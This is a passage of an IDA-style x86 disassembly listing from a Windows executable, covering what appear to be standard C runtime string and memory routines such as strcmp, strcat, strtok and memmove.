loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72

loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99

loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB278, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------

loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi

loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax

loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 2690247h
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 2690800h
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax

loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------

loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi

loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx

loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx

loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC

loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD

loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------

loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]

loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46

loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4

loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0

loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB

loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8

loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6

loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi

loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------

loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC

loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi

loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080

loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2C4

loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------

loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx

loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------

loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2C4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------

loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A

loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB

loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A

loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4

loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------

loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC

loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290

loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283

loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl

loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi

loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C

loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8

loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------

loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------

loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------

loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------

loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
